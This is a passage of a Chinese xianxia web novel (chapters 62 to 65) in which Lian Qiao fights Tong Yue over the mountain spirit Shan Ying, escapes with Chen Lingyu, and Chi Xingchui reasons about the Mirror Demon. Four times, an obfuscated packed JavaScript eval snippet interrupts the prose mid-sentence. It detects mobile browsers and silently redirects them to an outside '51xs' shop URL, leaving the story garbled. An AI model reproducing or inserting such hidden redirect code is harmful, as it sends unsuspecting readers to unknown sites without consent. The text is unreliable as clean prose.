“就因为外面有谣言,你们就这么想我!”气氛烘托得正好,连乔泫然欲泣,“到底是我是妖女,还是你们脑子里比妖女还肮脏!” 要是方才被云招摇带节奏,大家都以为她发生了什么事,那就算连乔暴跳如雷拉迟星垂出来作证也是没用的。 人一旦陷入自证,就会往更窄更逼仄的牛角尖里面走。 不如倒打一耙,拉对方下水,引火上身谁不会啊? 看云招摇尴尬至极为自己辩解的模样,连乔很解气。 回旋镖不扎到自己身上,永远也不知道疼。 她造谣造得轻飘飘的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546353|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又轻松又真,简直是谣言小能手,原主连翘那暴躁脾气直肠子,一点脑回路都没有,从认识她开始到深避子午谷,在她手里栽多少回了? 乾元剑宗无数个关于连翘的精彩传说,比如不停包.养小白脸啊,嫉妒她云招摇所以给她使阴招逼她就范啊……连乔不信,这些都和云招摇没关系。 当然,原主也不是什么好东西,但她不好归不好,也不是别人造谣,甚至是造黄谣的借口。 以前怎么样都已经是过去,她管不了,现在还舞到她头上,她可要教对方怎么做人了。 云招摇从没见过连乔这么能说会道,手轻抖一下,语气仍旧是不卑不亢的,“连姑娘,不管你怎么污蔑我,我都知道我不是你说的那样,你若是执意如此曲解我,那我没办法。” 云招摇轻咬嘴唇,受委屈的时候瞳孔透亮,像一只受惊的小鹿,实在是叫人喜欢。 迟来风又摇了摇扇子,“连姑娘,不要恶意曲解别人的意思,这样不好。” “叫你别随意曲解呢云姑娘,听到了没有。” 迟来风一愣,“哎不是,我……” 不等他说话,连乔对着陈灵玉使了个眼色,让她退出山神庙。迟来风道,“你非要带这个人走?” “对啊,他长得好看又干净,我当然得带走。” 连乔抱着胳膊,十足强抢民女的恶霸模样,“毕竟平常看到有些动不动就耍帅的油腻男,实在太败胃口了。” 刚风流倜傥摇着扇子的迟来风觉得不对劲,停住了摇扇子的手。 山影在陈灵玉和连乔的掩护下慢慢往山后挪。他吃了太多的坏东西,现在很难受,恐怕要歇好久才能恢复。 他靠着墙往外走,没有出门,被一道红光击中,撞飞回山神庙内,连同供桌,香炉……哗啦啦地碎了一地。 外面传来女子爽朗的笑声,“一个个的实在是窝囊啊,都丢人死了,这点小事都办不好。” “骂不过就打,不会说还不会动手吗?”同月拍拍手进来,身后跟着杨无溟。 同月斜着眼看地上躺着的人,余光却瞥过连乔,“刚刚就听你们说抓到了一个了不得的东西,我来看看,到底有多了不得。” 她刚进来,站在最后面的林锦绣旁边,林锦绣声音弱弱的,“同月师姐,他们说的了不得的东西不是这个,是一只大魔。” “我管他大魔不大魔。”同月抱着胳膊,蔻丹轻轻点在胳膊上,歪着脖子正在看前方被扑倒的人,似是来了点兴趣,“修炼了很多年山精?身上灵力很繁杂么,有点儿意思。” 她歪着脖子望着连乔,“我缺一只灵宠,这个东西我看上了。” 同月的气势很强,她盯着连乔,像是挑衅,更像是警告。 看到同门,陈灵玉有些紧张,她本来就温和,现在更不知道该说什么。 连乔抬起眼,笑笑的,“不行啊这位师姐,我先要的哦。” 同月笑了,“可真是贻笑大方了,我同月要定了的东西,从来没有失手过,你一个冲虚学院毛都没长齐的妖丫头,你觉得你凭什么跟我抢?” 她转过头,“杨无溟,直接动手。” 62.第 62 章 就杨无溟那功夫,一掌下来人就成肉泥,连乔一蹦三尺远躲在迟星垂后面,“乾元剑宗有规矩,不可同门内斗,你们可别知法犯法。” “这些规矩是用来保护你们这些弱小弟子的,我打你可不叫内斗。”同月冷笑一声,“叫规训后辈。” 连乔道:“成英轩你快规训规训后辈。” 同月的鼻子都要气歪了,“我连她一起打!” 同月打人不是假打,全是拿命在拼,她一挥长鞭,整座山神庙都塌陷。 成英轩接住她一记长鞭,“同月,这是人间,你别太过分了!” “过分?你第一天认识我啊?”同月道,“那我就是过分了,你能怎么样?” 她掀翻了山神庙,又一鞭子抽在山神像上,但山神像没有碎,反倒是山影突然捂着肚子叫出了声。 “我说了,真打起来你不是我对手。”同月道,“你一直是我的手下败将,从你一入宗门就是,现在是,将来也是。” 同月反手又是一鞭子,凌阿上前去拦,被杨无溟挡住,“她们俩之间的事,让她们自己解决。” 同月不仅打人毒,说话也毒,打着打着就开始骂人,又提起了成英轩的脸,笑她毁容,丑而不自知。 成英轩肉眼可见顿了一下。 “你不能这么说。” 同月趁此间隙,将成英轩推开,刹那之间,她身后的云招摇冲过来,抓起地上的山影,将他困在彩灯中。 云招摇十分高兴,“师姐,我们拿到啦。” 又是这样,又是半途去抢别人的东西,还这么腆着脸笑,连乔忍不住了,“云招摇你上次抢别人东西,现在还没长记性吗?” 提到上次胧月秘境,云招摇脸色不由地僵住,“不知道你在说什么。” 迟来风要说话,连乔打断道,“你们要是真觉得抢别人的东西没有问题,那上次就应该强硬态度,不用道歉也不将物品归还,现在又想跟我来说这一套,还真是得了便宜还卖乖。” “那我就是抢,我抢了就是我的,你能怎么样?”同月斜着眼,不得理也不饶人,“有本事你抢回去?” 原野一望无际,山神庙化成齑粉,冷风在耳边“呜呜”地响。 连乔觉得自己胸腔都在沸腾。 受够了,真是受够了这窝囊气。 童元宝道,“连乔,算了,不管是我们还是同月师姐,都是要把山精带回去剑宗,谁带都一样。” 他不是想劝连乔放弃,关键是同月太疯了,单单得罪同月其实问题不大,但是连乔她一直想入乾元剑宗啊! 同月那疯婆子的名号乾元剑宗都知道,她现在已经和连乔杠上了,连乔卖她一个面子还好,说不定能前尘往事一笔勾销。 她这么拽,以后若是入了剑宗,还不得被同月一直挤兑? 上一个同月看不惯的剑宗弟子,她硬生生在秘境中断人家三根肋骨,同月以及她师父在剑宗都横着走,那弟子吃了哑巴亏也不敢声张,闷声吞下了这苦果。 软的怕硬的,硬的怕横的,横的怕不要命的。同月就是又横又不要命的,就因为成英轩拿走了她看上的东西,追着人家咬了半个月,这样的疯子谁受得了? 童元宝给连乔使眼色,连乔充耳不闻。 童元宝又求助迟星垂,示意迟星垂拦她。 迟星垂一副爱莫能助的模样。 你看她这样子,像是听人劝的吗? 云招摇也像是被同月这气场吓到了,但是她又庆幸连乔一根筋,惹上同月这癫婆。 同月新仇旧恨一起算,准备先对付成英轩,再好好教训教训连乔那丫头。 同月和成英轩两个人,一个人使鞭,另一个人使剑,一主攻一主防,火光四起,快将桐花岭夷为平地。 同月的打法很嚣张,恨不得让世界陪葬,成英轩顾忌桐花岭的生灵,闷闷将所有的重击扛下。 云招摇头望着两人,心中羡慕,如果有一天,她也如此厉害,就好了。 她仰头的时候,连乔忽然出手,猛地伸出钩子勾住灯盏,往后一拉。 云招摇反应过来,抓紧了灯盏不肯松手,丛林间“咻”地出鞘,和灯盏碰个面对面。 云招摇的手被震得发麻,不自觉地松开。 她立刻提剑格挡,拖住连乔,连乔大喊,“快接住灯!” 连乔身边什么人也没有,其他人都被迟来风和杨无溟拖住,想她也抢不来东西。 云招摇立刻要将装山影的灯盏收起来,灯盏却被一团黑气绕住,从她手上脱落。 那黑气又猛地下坠,接住灯盏,“咻”一下回到连乔手里。 那是什么东西? 连乔接住山影,朝陈灵玉喊,“愣着干什么,还不快走?” 陈灵玉一直盘腿坐在角落里,她抬头震惊望着连乔,终于领会了连乔的意思。 “多谢。” 陈灵玉回过头来,“连乔,我知道有一个地方可以躲开他们,跟我来。” 同月看到即将要逃跑的连乔和陈灵玉,脸色奇黑无比,她吼着在旁边观战的白祺和林锦绣,“还愣着干嘛,等着我把东西抢到了,再平分给你们吗?” 林锦绣看着连乔惊呆了,声音细弱弱的,“师姐,连乔身上有怪东西,我、我、我不敢……” 刚刚云招摇那么拼命的想留下山影,却被那绕在连乔桌子上的怪东西震得毫无还手之力。连乔身上的怪事太多了,又不知道她哪里来的这些东西! 同月一分心,被成英轩找到漏洞,她一把将同月击倒,随后甩出锁神链。 银链子像月光一样拢在同月身上,虽然微弱,但是暂时限制住了她的行动。 成英轩妄图让同月安静下来,“不要再动手了,这里是人间,连乔也是冲虚学院弟子,你一个修道之人别这样以身犯法!” 同月却没有回答她,成英轩这才注意到同月的目光死死盯住连乔。 以及盯住绕在连乔手上的那团黑雾。 一直以来都不理性的女人现在更不理性,她的瞳孔都变成了红色,手上的银铃叮叮作响。 “连乔,你那青蛟是怎么来的?” 连乔将山影放出来,少年晕晕乎乎的倒在地上,陈灵玉扶起他往前走,转头望向连乔,连乔也跟上去。 “连乔,我问你,你那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556391|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青蛟到底是怎么来的!” 连乔充耳不闻,立刻跟着陈灵玉往前安全的地方跑。 同月愤怒极了,声音都颤抖起来,“杨无溟,杀了她,给我杀了她!” 连乔感觉到有声音从背后炸开,紧接着迟星垂挡在她身后,将杨无溟拦住。 一直觉得自己被重心蛊困住的连乔,此时心中突然生出一丝庆幸来。 幸亏用了重心蛊把她和迟星垂的命连在一起,要不然以迟星垂那高傲冷漠的性格,他才不会管自己死活。 杨无溟这一击不得把自己削成肉泥? 连乔转过头对迟星垂报一个感激的笑。 迟星垂脸色冷冷的,“你先带陈灵玉躲起来,稍后联系。” 连乔转头看着他,又斜眼看爆发起来挣脱了银链的同月,眸色沉静,“你注意安全,等会儿会面我再同你细说。” 同月现在才发现,当时在胧月秘境抢她东西的人是连乔。 当时打劫她的人一共有五个,这段时间她翻天覆地上天入海地找,找遍了也没有找到和那日相像的五人。 同月也去过黑市上,但没有青蛟的踪影。 她同月就不是一个能吃亏的人,这段时间她越想越气,甚至因噎废食,连其他秘境也没有心思再去,只心心念念,那上好的即将化龙的青蛟。 也因此,她急火攻心,荒废修炼,导致宗门大比输给了成英轩。 他同月什么时候受过这种气,这一切的始作俑者,都是那个臭丫头! 童元宝也发现事情的严重性,“完了,完了师兄,原来传言中抢同月东西的人是连乔?” 之所以说传言,是因为同月特别要面子,她被半路抢了东西从来不说,也不许别人说,就自己回来一通发脾气。 除了那天亲眼见证发生什么事到的杨无溟,谁都不清楚她发飙的具体原因。 后来才从传言中得知,她在秘境中辛辛苦苦寻得一只青蛟,结果却被半路打劫,被不明来历的人抢了。 是被连乔抢的啊! 在场的人都很震惊,但迟星垂却仍旧是一副淡淡的表情。 童元宝仍旧处于震惊之中,对迟星垂的反应也很震惊,“师兄你真厉害,连乔干出这么惊天地泣鬼神的事,你居然能够处变不惊,还能够如此泰然对之。” 迟星垂没有回答,因为他不知道要怎么告诉这位单纯且可爱的师弟,自己早就知道了这件事。 连乔跟着陈灵玉立刻,很快不见了踪影,童元宝锤了一下手,“哎呀,就这么让连乔跟着他们出去了,也不知道会不会有危险!” 陈灵玉失踪那么久,还主动和乾元剑宗断了联系,恐怕就是被那东西蛊惑。 现在连乔也莫名其妙跟了过去,也不知道会发生什么事。 迟星垂收起剑,望着地上倒塌的山神像,“她不会有生命危险。” “你怎么知道?”童元宝一脸茫然,“刚刚不还是说那东西想掳走连乔当老婆嘛?” 迟星垂心中莫名生出一股烦躁,“那东西并不是想让连乔当新娘。” 他是吃多了魔气渡不掉,想找一个替死鬼,替他去死。 63.第 63 章 连乔带着山影跑了,同月也不和成英轩打架了,她现在发现有更大的仇人。 同月整理了一下衣服,她的裙子是是上等法衣,刀枪不入十分坚硬,但还是被成英轩的剑气伤划破了几个口子。 杨无溟望了一眼成英轩,“成师妹最近的长进着实大,居然能划破云烟绫罗,这剑意汹涌,居然有当年钟蕴一剑破十魔的风采。” 杨无溟是武痴,他十分欣赏有能力有魄力的人。 同月牙齿咬得咯咯响,“这算什么,我的长鞭也照样勾破了她的衣服。” 林锦绣站在最后面,小声和云招摇道,“可是成师姐穿的是普通的衣服,这怎么能相提并论呢?” “你们在说什么?” 林锦绣立刻摆手,“没、没说什么,我们什么也没说。” “也不知道陈灵玉带着那丫头去了什么地方。”同月牙齿来回搓,“不过桐花岭这地方一共也没有多大,我就算把这些山翻过来,也要找到那死丫头。” 云招摇转了转眼珠,看到白祺嘴角忽然抽搐两下,“小白你怎么了?” “可能是刚才冲突太激烈,我有点紧张,所以不太舒服。”白祺又恢复正常,笑了笑,“我没事,你不用担心。” “那就好。”云招摇也对她笑了笑。 虽然说连乔跟着陈灵玉躲了起来,同月他们找不到她,但迟星垂一行人也同样找不到她。 童元宝走在迟星垂后面,起了大风,密林中的杂草哗啦作响。 童元宝放低了声音,“师兄,你确定连乔没事,到时候会主动来找我们?” “嗯。” “可是……”童元宝凑近了,目光从杂草丛中划过,“可是那山精不知道是什么东西,身上什么都有,诡异又邪性,连乔跟着他们,确定安全吗?” 他们几个小队的人分为两队行动,分别去搜罗前山和后山。 桐花岭丛林茂密,迟星垂和童元宝在密林中找出一条路,最后停在一个空旷开阔的平地。 童元宝终于呼了一口气,声音也恢复正常,“他们知道我们找不到连乔,所以不再跟着了。” “师兄,你们在桐花岭发生什么了,连乔怎么能确定陈灵玉没有被蛊惑,在陈灵玉身边就是安全的呢?” 童元宝听说了他们分开后迟星垂和连乔发生的事,“陈灵玉不对劲,整个人都奇奇怪怪的,她一直在瞒着什么。” “她在瞒着乾元剑宗。”迟星垂道,“陈灵玉和山精关系匪浅,山精有问题,她不想让山精被乾元剑宗带走,所以和剑宗时有联系时断。” “弟子牌可以将实时内容传给剑宗,那山精被镜魔污染,一旦实情实景传回去,必然会惊动剑宗。” 童元宝不理解,“可是……陈灵玉也打开过弟子牌,并没有发现有异常之存在,这又怎么解释呢?” “所以我有一个猜测。”迟星垂道,“那山精能够吞食魔气,并且化解魔气。” “山精是山精,又不是山神,如何能化解魔气?”童元宝不信,“师兄,你说得太天马行空了。” “不是天马行空。”迟星垂道,“桐花岭虽然地处偏僻,但是却钟灵毓秀,自然而然也就生出了精怪。” “但这一片人迹罕至香火微弱,山神庙的山神早已不知所踪,山精就一直寄居在山神庙,他靠着偷食山神庙的香火成长,久而久之,假的也成了真的,山精也就成了山神庙的真正主人。” 迟星垂回想见到的山神像,“而且你没发现么?” 童元宝:“发现什么?” “山神庙的那些像,越大的神像,和那只山精长得也越相似。” 对,不是山精和神像相似,而是神像和山精相似。 山精在神像中住久了,神像也就随着他的模样,发生了细微的变化。 这样一说,童元宝倒是真想起来,那神像的神态和天然呆的表情,真的和山影神似八分。 而他们被困在魔气陷阱中,陷阱里也有几座小型神像,那些小神仙也天然呆,都被魔气侵蚀得不成样子,在最后陷阱坍塌后,也全部化为粉尘。 童元宝恍然大悟,“原来如此。” “这么说,那山影和镜魔没有关系,是两拨人。” “是两拨人,并且二者互为敌人。”迟星垂劈开面前一根挡路的朽木,收回剑,取出帕子一边走一边擦剑上的碎屑。 如果连乔在场,定然会多看几眼,并且从心里夸他擦剑擦得清水出芙蓉,天然去雕饰,一点也不夸张,一点也不矫揉造作。 “那镜魔想抓山精,但是山精能够吞食魔气,并且可以消化魔气,他很忌惮,所以往桐花岭扔了许多魔物和祟物,也就是一年前,剑宗发现桐花岭近期不安宁的时候。” “但桐花岭有自净能力,山影也能够吞食邪祟,镜魔一直往这里投脏东西,直到后来,山影吃不下也消化不了,开始往外反吐污秽。” 他吐不出来,只能找一个人将邪祟渡出来,并且在一群人中千挑万选,找到了连乔。 童元宝挠了挠脑袋,“……那有一点就说不通了,为什么山影找上的是连乔。” “论资历,陈灵玉远远比连乔深,论修为,陈灵玉比连乔高,论忍耐力,连乔脾气最暴躁受不得一点气……咳咳,大概就是这么个意思,如果选接污秽的媒介,陈灵玉明显比连乔强啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566291|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “而且看上去陈灵玉和山精关系很好,也想袒护他,还对事情的前因后果也都清楚,要是选陈灵玉当替死鬼,不比选连乔轻松得多?” 连乔年纪没多大,心眼奇小,吃不得一点亏,找连乔不一定成功,反而容易同归于尽。 那为什么山精会选连乔? 迟星垂没想通。 如果没记错,前一世,连乔没有出现,山精带走的是云招摇。 连乔和云招摇,二者之间有什么相同点吗? 原因不得而知。 童元宝嘟嚷,“总不能因为连乔漂亮吧?” 绕来绕去又回到这个话题,迟星垂轻飘飘瞥了童元宝一眼,表情一言难尽。 童元宝急了,“我说的是实话啊,连乔确实漂亮啊,师兄你不觉得吗?” 面前一棵交错怪树挡路,迟星垂又是一剑劈开。 连乔漂亮么? 迟星垂脑海中浮出两张脸,一张是连翘的,还有一张是站在跨海大桥上,望着自己反复生死时,那张平静的面容。 两个人绕着桐花岭走了一圈,不知道怎么又绕回了原处,一棵腐木拦在面前,不同的是朽木被劈开,留出两个人走过的宽度。 童元宝“吭哧吭哧”喘着粗气,一屁股坐在木桩上,“师兄我不行了,我要歇会儿。” 不歇也不行,他们像是走进了迷宫里面,桐花岭的路横七竖八,来来回回就会鬼打墙似的回来。 走了那么远又回到原处,那还不如不走。 “师兄,要不我们歇会儿吧。”童元宝摆手,“连乔他们是为了躲同月,我们这样找肯定找不到,还是等他们来找我们。” “乾元剑宗的人马上要过来了。”迟星垂抬头,头顶上密云翻滚,厚厚的云层里透出几缕细弱的光柱。 “这次的人,都是鬼无牙的。” “啊?”童元宝又站起来,“不是,都是同月和她师父招来的啊?咱师父呢?咱不是也让师父支援点人吗?” “嗯,我们就留了一个邵吴兴在家。”迟星垂道,“就算全门出动,我们也就来一个人。” 童元宝欲哭无泪,“枉我师父虞南子一世英名,师门竟凋败如此!” “师兄,快走啊,被鬼无牙那老东西围住,连乔就不是断两根肋骨了。” 她可能会被鬼无牙削断两条腿。 “不过,连乔到底在哪里呢?”童元宝道,“师兄,桐花岭这里有哪里是十分安全可背水一战的地方吗?” 背水一战……迟星垂想起前世桐花岭发生一场地裂,而陈灵玉他们生不见人死不见尸…… 他想,他知道连乔在哪里了。 64.第 64 章 连乔在黑暗中适应了许久,靠着壁灯摇曳的光,才看清周围。 四周密闭,但是不逼仄,容得下数十人。 这是单纯的密室,没有出路和退路。 连乔感到窒息,她尝试虚化出幻境,但是没有用,在这里她没有任何修为,完全是一个凡人。 “这是山影本体之处。”陈灵玉道,“山影由山间灵力所化,慢慢有了人的形态,他能和这里能融为一体,在他的地盘上,以他为尊,你自然不能随心所欲。” “所以在这里,即使同月他们追上来了,也因为山影天然的制约,他们也不能发挥原来的能力?” “是这样。”陈灵玉看连乔脸色不好,“你怎么了?” 连乔摆摆手,因为腿软坐在地上。 上次从噩梦中被救起后,她的幽闭恐惧症好了很多,至少不像之前出现一入密室就走不动道。 陈灵玉注意到她的异常,她抬手一划,面前的黑暗裂出一个口子,紧接着黑暗褪去,四面开阔,桐花岭的一切都映入眼帘。 场面十分震撼,像在看4D电影。 “山影能控制桐花岭一切,虽然还不成熟,但是这些应该能克服你怕黑的毛病。” “这你都发现了。” 陈灵玉笑了,“不仅如此,在你刚来乾元剑宗时,我还发现了你又累又饿还不知道怎么去饭堂吃饭。” 确实是,陈灵玉是真的细心。 连乔道:“去看看山影怎么样了。” 在陈灵玉被魔气倒灌后,山影不想让她因魔气噬体暴毙而亡,将陈灵玉的魔气强行吞下去。 他本来已经是强弩之末,这一吞,更是严重透支身体,白皙的皮肤上出现细细的蛛网一般的红色裂纹。 “他还有救吗?”连乔问敖周。 “有点棘手……”敖周绕山影转一圈,“他被人算计了,吞食了不属于他自己的魔气,魔气和他本身灵力犯冲,且有压倒他自身的趋势。” 连乔问,“压倒他自身?会让他坠魔?” “嗯。”敖周道,“不过镜魔应该不是想让他坠魔,他这么做只是为了污染他,拖延他的行动能力。” “拖延?” “对,魔族可以通过吞噬同类来强大自身,镜魔想把他拖垮,再把他吞下,强大自己。” “这没理由啊,既然能够强通过吞食同类来强大自己,那为什么要给山影喂食魔物呢?喂食那么多魔物才能得到他一个,还不如一开始就直接吞那些小的魔物。” 反正总量都是一样的。 “不是这样。”敖周道,“小魔身上的魔气太冗杂,杂质太多,吃起来还要消化,远不如吃一只大魔来得顺利。” “所以意思就是,镜魔想让别人去消化小魔身上冗杂的魔气,等对方成大魔了,再统一吸收大魔。” “可以这么认为。”敖周点头,“而且山影净化能力很强,一旦他入魔,更能够凭镜魔的意愿来改造他,直到成为镜魔想要的状态为止。” 这么恶毒么? 镜魔的智商和手段这么高,应该是翻云覆雨级别的人物,那原书中为什么后期没有镜魔的出现? 是原书的遗漏,还是镜魔被别的更大的魔物吞噬,所以杳无音信了呢? 现在几人正站在一个类似全息影厅的地方,陈灵玉忽然“咦”了一声,“他们发现我们了?” 前后左右上下都有桐花岭的倒影,陈灵玉将某一个画面放大,所有的影像又归集到一个地方——一条小溪旁。 迟星垂坐在石头上,手里拄着剑,处于发散神识状态,而童元宝则转一圈,向各个方向打招呼。 于是这个倒映的前后左右,都被童元宝的圆脸和大大的笑脸所占据。 这个地方是山影本体,山影能感受到桐花岭每一处的细微变化,迟星垂让自己的神识占据一块地头,自然而然让山影发现他。 某种意义程度上,不是迟星垂找到他们,而是迟星垂知道如何找到他们,并且把自己送上门。 童元宝又喊,白皙圆圆的大脸贴在屏幕上,“灵玉、灵玉师妹,陈灵玉~~~” “连乔,连乔,美丽的连乔~~~” 陈灵玉:“……” 连乔:“哎呀,净说什么大实话。” 童元宝在这四周转了几圈,各个方向都打了招呼,脖子往后倾望迟星垂,“师兄,你确定这个方法有用?” 迟星垂的神识还在发散,一点点向周围扩散。 “就算这样不能让他们找到我们,也能让我们发现他们。” 童元宝道,“可是,我还是感觉山精成山神,有点匪夷所思,这里就算能孕育出灵物,也没有化神的条件啊。” 他还没听说过这里有雷劫发生的可能呢。 迟星垂望着头顶。 “快了。” 人间宝庆年间冬,桐花岭一带发生山裂,原因是天降暴雨,冬雷凌冽。 这已经是上辈子的事了。 这件事在乾元剑宗的记事录中一笔带过,因为没有任何人为迹象。不过因为地裂,寻找失踪的乾元剑宗弟子之事也因此搁置,再之后只能不了了之。 上一世的地裂一直被认为是天灾,但是如果不是天灾呢? * 再一睁眼,已经不在小溪旁,连乔朝迟星垂摆手,“师兄,你好聪明啊,居然知道怎么找我们。” 迟星垂的神识收回来,映入眼帘的是桐花岭的全景。 从全景中可以看到,同月召来了许多人,正满山搜连乔的踪影。 童元宝:“哦吼,鬼无牙门内的好几个弟子都来了,要为这位师姐撑腰呢,连乔,你惹上大麻烦了。” 连乔:“我知道,不就是一个小小的同月吗,我怕她不成?” 童元宝:“那你抖什么?” “入夜了,山里降温,我有点冷。” 童元宝:“要不你就别嘴硬了?” 连乔很无奈,“真不是我怕,我只是控制不住自己。” 这真不怪连乔,虽然她也怕,但是也不到发抖的地步,这是原主身体的自然反应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581728|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是说原主是天生恶女吗,这又怂又弱的样子,到底哪里恶了? 连乔转眼珠瞥向迟星垂,发现迟星垂也在看她。 连乔迟疑了一下,“师兄,你可得帮我,照这阵仗,我是不能活着出桐花岭了。” “也不一定。”陈灵玉道,“山影能将你们直接传送出能力范围,在桐花岭这一片你还是安全的。” 说完又补刀,“可能出了桐花岭才死。” 连乔:“……灵玉师姐,要不你不要说话了呢。” 陈灵玉弯了弯眉眼,笑起来温柔又知性。 忽然,一直躺在地上的山影又“呕”了一下,他睁眼双眼,瞳孔猩红,和以前镜魔的模样别无二致。 一个充满腥味与血色的噩梦突然冲上心头,迟星垂想起某些经历,不由地握紧了拳头。 这是化魔前的征兆。 和上辈子的连翘一模一样。 连乔问敖周,“这还有救吗?” “不确定能不能救。”敖周道,“他的身体被魔气控制,但是还存留了一点意识,得用媒介把这魔气渡走。” 敖周抬头往上看,“这里不行,一旦山影失控,桐花岭撑不住,得换个地方。” “连乔,我得带他去青龙谷,这里乾元剑宗的人太多了,你掩护我离开。” “等一下。”童元宝拦住他,“我怎么能确定你就是正常的,而不是和镜魔为伍,想带山影离开,然后吞噬他?” 敖周无语,他望着连乔,连乔好像也在思考这个问题。 迟星垂道,“他不会,他离渡劫仅有一步之遥。” 青蛟化龙,便有半神之体,敖周的修行之路有千万年,不会因此功亏一篑。 迟星垂想起上辈子,同月从胧月秘境中得到这只青蛟,用了些上不得台面的手段强迫他与自己结契,并强行用灵药喂养迫使敖周突破。 后来,这只青蛟确实化龙,但是在一场与妖族的鏖战中,以惨烈的方式自焚在深谷中。 虽然他不着调,但是确实有血性。 一个已经化龙的神兽,为了自由而自尽,是不可能被魔气诱惑且侵扰的。 一直在考虑如何将山影身上的魔毒渡化的敖周现在才注意到迟星垂,看到迟星垂时,他又是微微一愣。 之前为了哄山影,迟星垂化了新娘的妆容,虽然他早就换下了喜服,脸上妆容也褪了大半,但是眉眼温和,很偏女相。 这让敖周又想起一个熟人。 不过没时间了,也管不了那么多,敖周伸手,“连乔,借你芥子镯一用。” 连乔早就准备好了,将镯子褪给他,敖周将山影装进去,又将倒影的视野更换至桐花岭的边缘。 没想到出入口就有人把守。 陈灵玉:“是同月的师弟。” 连乔道:“我去引开他,你随后走。” 敖周点头,“好。” 连乔的身影一闪而过,迟星垂也跟了过去,敖周的目光从迟星垂背影上收回来,也一闪跟着离开这摇摇欲坠的空间。 65.第 65 章 陈数寿嘴里叼着一根草,正在翻着万机,嘴里还不停嘀咕。 “说什么受欺负了,还有人欺负你么,确定不是你欺负别人吗?” 陈数寿酷爱练剑,他找了几段成英轩对于练剑的心得分享,又找了几本成英轩推荐的书。 还是练剑有意思,他不喜欢御兽,拜乾元剑宗就是为了学剑,他的梦想就是有朝一天能成为无极剑宗上一任宗主连云天那样的剑修天才。 一剑指苍穹,破海天无际,那是何等的畅快淋漓。 但是奈何他御兽有天分,所以被鬼无牙选中,鬼无牙也不正经教他修行,同门师兄师姐日日奴役差遣他干活,干的还是一些杂活。 今天同月又叫他来帮忙抓人,说在外面被人针对了。 在开什么玩笑,能有人针对得了她? 当然,小陈师弟也只敢心里腹诽,说是不敢说的,只能一边生闷气一边帮她守关。 不过据说连乔他们在山里面,不可能穿过山里面那么多人的眼线直接到山脚下的,他来这里也只是凑个人头,糊弄糊弄任务罢了。 才翻了两页,一股妖风刮来,山脚和密林都都起一片淡淡的雾气。 一双脚落在面前,紧接着一个人映入眼帘。 陈数寿掀起眼皮,心里咯噔一下,啊,连乔! 后面是……迟星垂?! 不是说桐花岭里面每个路口都有人把守么,怎么其他人都发来消息,人就这么直接到山脚了? 要是他再打个盹,岂不是他们马上就要出了桐花岭? 连乔来的时候已经看过了,桐花岭上山下山有三个出口,这里路途险要,易守难攻,且把关的师弟年纪小资历浅,打起来也最方便。 她刚要动手,陈数寿忽然望天,“这天要下雨了?” 嗯? 陈数寿望完天又望地,最后又望向远处。 我什么都没看到,什么也没听到,还不快走? 连乔一拱手,表示感谢,眼神天知地知你知我知。 陈数寿:不客气,应该的。 连乔招招手,后面的敖周立刻跟上,身形一闪,消失在空中。 陈数寿又擦了擦额头,吐出一口气,随后又翻出无极剑宗出的《剑修速成指南》,靠坐在一个避风的巨石后面,津津有味看起来。 哎,可惜了,当年没有拜入无极剑宗。 自连云天和几个剑修大能逝世后,无极剑宗就一蹶不振,不过即使不振,无极剑宗这些年也一直以修剑为首要任务,清苦研习,一心入剑道。 不像乾元剑宗,说是剑宗,实则百家齐放,真正苦心修剑的,也只有虞南子和成英轩师父饶同焱这两位。 陈数寿把手臂枕在头下,将嘴里的草“呸”一声吐掉,眼珠子咕噜噜地转,起身偷偷将连乔他们留下的脚印和踪迹清理了,这才放心地重新躺好,继续看自己的闲书。 * 远处山脉连着山脉,山峰拥着山峰,晚间前天气降温,下了一场雪,远景山顶铺了一层白色的被子,又像是一层白糖。 面前的烧酒“咕噜噜”翻滚,冒着热气。连乔将烧酒壶拎起,给自己满上,迟星垂不饮酒,他说他喝茶,连乔也就不管他,自己小酌怡情。 